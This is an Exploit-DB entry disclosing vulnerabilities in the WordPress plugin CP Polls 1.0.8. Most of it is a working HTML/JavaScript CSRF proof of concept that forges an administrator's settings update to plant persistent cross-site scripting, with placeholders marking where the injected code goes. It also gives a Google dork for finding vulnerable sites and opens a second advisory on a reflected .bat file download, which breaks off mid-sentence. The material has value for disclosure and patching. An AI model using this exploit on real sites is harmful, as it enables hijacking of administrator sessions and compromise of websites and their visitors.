Exploit-DB #39513
Description: WordPress Plugin CP Polls 1.0.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-03-01
Author: i0akiN SEC-LABORATORY

Exploit:
# Exploit Title: WordPress CP Polls 1.0.8 - CSRF - Update poll settings & Persistent XSS
# Date: 2016-02-22
# Google Dork: Index of /wp-content/plugins/cp-polls/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Plugin URI: http://wordpress.dwbooster.com/forms/cp-polls
# Version: 1.0.8

=============
 Description
=============

With **CP Polls** you can publish a poll into a page/post and optionally display statistics of the results.
You can receive email notifications every time a vote is added or opt to receive Excel reports periodically.

The Polls can have dependant questions, this means that some questions are displayed depending of the
selection made on other questions.

(copy of README.txt)


===================
 Technical details
===================

CP Polls plugin for wordpress is vulnerable to Persistent Cross-site scripting is not sanitizing the
values of the options before savinng to database. This issue can be exploited by an attacker with
CSRF by sending a malicious link to a wordpress administrator. If administrator clicks the link, the
action will be executed because there isn't CSRF protection.

=========================
 Proof of Concept (html)
=========================

<html>
  <!-- CSRF PoC - Burp Suite i0 SecLab plugin -->
  <!-- We can find the Poll id into the source code of a post with a cp poll and looking for ´CP_Polls_id´.
  We can find something like: <input type="hidden" name="CP_Polls_id" value="4" />
  4 is the Poll's id, now we have the id and we can make a csrf attack.
   -->
<body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost:80/wordpress/wp-admin/options-general.php?page=CP_Polls&cal=1", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.setRequestHeader("Accept-Language", "es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1");
        xhr.withCredentials = true;
        var body = "CP_Polls_post_options=1&CP_Polls_id= [ Poll id to update! ]&poll_limit=2&poll_private_reports=false&poll_see_results=true&poll_text_seeres=  [PERSISTENT CODE INJECT HERE]  &poll_text_private=s&poll_text_votes=votes&fp_return_page=&form_structure=%5B%5B%7B%22form_identifier%22%3A%22%22%2C%22name%22%3A%22fieldname1%22%2C%22shortlabel%22%3A%22%22%2C%22index%22%3A0%2C%22ftype%22%3A%22fradio%22%2C%22userhelp%22%3A%22%22%2C%22userhelpTooltip%22%3Afalse%2C%22csslayout%22%3A%22%22%2C%22title%22%3A%22Select+a+Choice%22%2C%22layout%22%3A%22one_column%22%2C%22required%22%3Atrue%2C%22choiceSelected%22%3A%22%22%2C%22showDep%22%3Afalse%2C%22choices%22%3A%5B%22First+Choice%22%2C%22Second+Choice%22%2C%22Third+Choice%22%5D%2C%22choicesVal%22%3A%5B%22First+Choice%22%2C%22Second+Choice%22%2C%22Third+Choice%22%5D%2C%22choicesDep%22%3A%5B%5B%5D%2C%5B%5D%2C%5B%5D%5D%2C%22fBuild%22%3A%7B%7D%7D%5D%2C%5B%7B%22title%22%3A%22  [PERSISTENT CODE INJECT HERE]  %22%2C%22description%22%3A%22 [PERSISTENT CODE INJECT HERE]  %22%2C%22formlayout%22%3A%22top_aligned%22%2C%22formtemplate%22%3A%22%22%7D%5D%5D&vs_text_submitbtn=  [PERSISTENT CODE INJECT HERE]  &vs_text_previousbtn=Previous&vs_text_nextbtn=Next&vs_use_validation=true&vs_text_is_required=This+field+is+required.&cv_text_enter_valid_captcha=  [PERSISTENT CODE INJECT HERE]  .&vs_text_is_email=Please+enter+a+valid+email+address.&vs_text_datemmddyyyy=Please+enter+a+valid+date+with+this+format%28mm%2Fdd%2Fyyyy%29&vs_text_dateddmmyyyy=Please+enter+a+valid+date+with+this+format%28dd%2Fmm%2Fyyyy%29&vs_text_number=Please+enter+a+valid+number.&vs_text_digits=Please+enter+only+digits.&vs_text_max=Please+enter+a+value+less+than+or+equal+to+%7B0%7D.&vs_text_min=Please+enter+a+value+greater+than+or+equal+to+%7B0%7D.&fp_emailfrommethod=fixed&fp_from_email=admin%40localhost.com&fp_destination_emails=admin%40localhost.com&fp_subject=Contact+from+the+blog...&fp_inc_additional_info=true&fp_emailformat=text&fp_message=The+following+contact+message+has+been+sent%3A%0D%0A%0D%0A%3C%25INFO%25%3E%0D%0A%0D%0A&cu_enable_copy_to_user=false&cu_subject=Confirmation%3A+Message+received...&cu_emailformat=text&cu_message=Thank+you+for+your+message.+We+will+reply+you+as+soon+as+possible.%0D%0A%0D%0AThis+is+a+copy+of+the+data+sent%3A%0D%0A%0D%0A%3C%25INFO%25%3E%0D%0A%0D%0ABest+Regards.&cv_enable_captcha=false&cv_width=170&cv_height=60&cv_chars=5&cv_min_font_size=25&cv_max_font_size=35&cv_noise=200&cv_noise_length=4&cv_background=ffffff&cv_border=000000&cv_font=font-1.ttf&rep_enable=no&rep_days=1&rep_hour=0&rep_emails=&rep_subject=as&rep_emailformat=text&rep_message=Attached+you+will+find+the+data+from+the+form+submissions.&submit=Save+Changes";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>


################################################################################


# Exploit Title: WordPress CP Polls 1.0.8 - Reflected file download (.bat file)
# Date: 2016-02-22
# Google Dork: Index of /wp-content/plugins/cp-polls/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Plugin URI: http://wordpress.dwbooster.com/forms/cp-polls
# Version: 1.0.8
# Demo: https://www.youtube.com/watch?v=uc6P59BPEkU

===================
 Technical details
===================

CP Polls plugin for wordpress is prone to file download issue. A hacker is able to attack an administrator by
exploiting a CSRF in the 'change cp poll name' converting the downloadable report file (csv) to a malicious .bat file.
Because there is not restriction in the cp